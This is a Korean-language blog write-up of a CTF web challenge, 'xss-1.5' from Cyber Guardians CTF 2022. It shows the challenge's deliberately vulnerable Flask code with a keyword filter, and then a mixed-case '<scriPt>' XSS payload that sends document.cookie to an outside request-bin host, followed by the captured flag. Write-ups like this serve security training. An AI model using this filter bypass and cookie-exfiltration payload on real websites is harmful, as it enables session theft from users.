[Cyber Guardians CTF 2022] Write Up - M 문제 : xss-1.5 풀이

 

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[문제]

 

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[풀이]

 

위 문제는 이 전 게시물 D문제 : xss-1.3 문제와 같은 방식으로 풀면 된다.

<D 문제 : xss-1.3>

https://devhacks.tistory.com/63

[Cyber Guardians CTF 2022] Write Up - D 문제 : xss-1.3 풀이

 

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

filtered = ["'", "\"", "img", "script", "link", "iframe"]
def filter(param):

  for x in filtered:
    if x in param:
      return False

  return True
 

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    if filter(param) is False:
      return "no cheat!"
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if filter(param) is False:
          return "no cheat!"
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


app.run(host="0.0.0.0", port=8000)

 

이 문제에서는 "'", "\"", "img", "script", "link", "iframe" 몇개 더 추가되어 필터링 된다.

 

<script>location.assign(`https://cefults.request.dreamhack.games/${document.cookie}`)</script>

전 시간에 썼던 코드이다.

script가 필터링 되기 때문에, script 부분에서 약간만 바꿔 대문자로 바꿔준다.

 

<scriPt>location.assign(`https://cefults.request.dreamhack.games/${document.cookie}`)</scriPt>

Flag 값을 획득할 수 있다.

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[FLAG]

 

DH{826c4393939853f13139e074b3b8cbd4607c98a92ca85aa6cb50249890affc52}